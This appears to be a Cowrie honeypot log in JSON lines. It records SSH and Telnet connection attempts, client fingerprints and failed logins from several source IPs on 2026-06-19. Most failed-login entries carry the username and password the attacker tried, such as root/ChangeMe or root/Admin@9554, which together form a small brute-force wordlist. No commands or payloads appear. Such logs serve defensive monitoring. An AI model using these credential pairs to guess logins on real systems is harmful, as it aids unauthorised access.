{"eventid":"cowrie.login.failed","username":"netman","password":"netman","message":"login attempt [netman/netman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:43.740011Z","src_ip":"201.17.146.173","session":"8fa17aa96b15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:44.890586Z","src_ip":"201.17.146.173","session":"8fa17aa96b15","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":52040,"dst_ip":"159.203.135.109","dst_port":22,"session":"409067cfa315","protocol":"ssh","message":"New connection: 87.251.79.125:52040 (159.203.135.109:22) [session: 409067cfa315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:44.895679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:44.900157Z","src_ip":"87.251.79.125","session":"409067cfa315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:44.971126Z","src_ip":"87.251.79.125","session":"409067cfa315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"17031994","message":"login attempt [root/17031994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:45.178463Z","src_ip":"87.251.79.125","session":"409067cfa315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:56:46.248923Z","src_ip":"87.251.79.125","session":"409067cfa315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":35632,"dst_ip":"10.17.0.5","dst_port":22,"session":"dab7522099ec","protocol":"ssh","message":"New connection: 14.63.196.175:35632 (10.17.0.5:22) [session: dab7522099ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:11.785614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:11.789380Z","src_ip":"14.63.196.175","session":"dab7522099ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:11.992445Z","src_ip":"14.63.196.175","session":"dab7522099ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ChangeMe","message":"login attempt [root/ChangeMe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:12.838562Z","src_ip":"14.63.196.175","session":"dab7522099ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:14.045652Z","src_ip":"14.63.196.175","session":"dab7522099ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":38174,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c99281d3f2d","protocol":"ssh","message":"New connection: 5.89.75.194:38174 (10.17.0.5:22) [session: 5c99281d3f2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:16.358025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:16.362216Z","src_ip":"5.89.75.194","session":"5c99281d3f2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:16.464360Z","src_ip":"5.89.75.194","session":"5c99281d3f2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jonathan","password":"1234","message":"login attempt [jonathan/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:16.906124Z","src_ip":"5.89.75.194","session":"5c99281d3f2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:18.012719Z","src_ip":"5.89.75.194","session":"5c99281d3f2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":45118,"dst_ip":"159.203.135.109","dst_port":23,"session":"742df1536d90","protocol":"telnet","message":"New connection: 172.81.62.90:45118 (159.203.135.109:23) [session: 742df1536d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:57:50.270795Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:18.683813Z","src_ip":"203.189.195.8","session":"1b06738b330b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":56082,"dst_ip":"10.17.0.5","dst_port":22,"session":"83318b8dfad0","protocol":"ssh","message":"New connection: 76.79.213.69:56082 (10.17.0.5:22) [session: 83318b8dfad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:23.892701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:23.901639Z","src_ip":"76.79.213.69","session":"83318b8dfad0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:24.024062Z","src_ip":"76.79.213.69","session":"83318b8dfad0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zg123456","message":"login attempt [root/Zg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:24.546953Z","src_ip":"76.79.213.69","session":"83318b8dfad0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:25.671425Z","src_ip":"76.79.213.69","session":"83318b8dfad0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51790,"dst_ip":"159.203.135.109","dst_port":23,"session":"dddea485958e","protocol":"telnet","message":"New connection: 128.199.8.54:51790 (159.203.135.109:23) [session: dddea485958e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:29.665157Z"}
{"eventid":"cowrie.session.closed","duration":40.46846842765808,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:30.739121Z","src_ip":"172.81.62.90","session":"742df1536d90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":44022,"dst_ip":"10.17.0.5","dst_port":22,"session":"28998e529bdb","protocol":"ssh","message":"New connection: 160.251.185.39:44022 (10.17.0.5:22) [session: 28998e529bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:33.090149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:33.094245Z","src_ip":"160.251.185.39","session":"28998e529bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:33.282672Z","src_ip":"160.251.185.39","session":"28998e529bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ly","password":"123456","message":"login attempt [ly/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:34.065280Z","src_ip":"160.251.185.39","session":"28998e529bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:58:35.254324Z","src_ip":"160.251.185.39","session":"28998e529bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":56648,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6f62643e505","protocol":"ssh","message":"New connection: 27.71.230.31:56648 (10.17.0.5:22) [session: b6f62643e505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:11.011431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:11.058576Z","src_ip":"27.71.230.31","session":"b6f62643e505","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:11.337204Z","src_ip":"27.71.230.31","session":"b6f62643e505","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@9554","message":"login attempt [root/Admin@9554] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:15.617935Z","src_ip":"27.71.230.31","session":"b6f62643e505","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":53658,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd8b9ee2696c","protocol":"ssh","message":"New connection: 5.89.75.194:53658 (10.17.0.5:22) [session: cd8b9ee2696c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:15.674626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:15.678912Z","src_ip":"5.89.75.194","session":"cd8b9ee2696c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:15.783051Z","src_ip":"5.89.75.194","session":"cd8b9ee2696c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oleg","password":"oleg","message":"login attempt [oleg/oleg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:16.233807Z","src_ip":"5.89.75.194","session":"cd8b9ee2696c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:16.906856Z","src_ip":"27.71.230.31","session":"b6f62643e505","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:17.338789Z","src_ip":"5.89.75.194","session":"cd8b9ee2696c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.20208954811096,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:21.866925Z","src_ip":"128.199.8.54","session":"dddea485958e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":47090,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1b6eb99829d","protocol":"ssh","message":"New connection: 201.17.146.173:47090 (10.17.0.5:22) [session: a1b6eb99829d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:38.774758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:38.780325Z","src_ip":"201.17.146.173","session":"a1b6eb99829d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:39.072060Z","src_ip":"201.17.146.173","session":"a1b6eb99829d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esmtp","password":"esmtp","message":"login attempt [esmtp/esmtp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:39.802221Z","src_ip":"201.17.146.173","session":"a1b6eb99829d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:59:40.968257Z","src_ip":"201.17.146.173","session":"a1b6eb99829d","protocol":"ssh"}
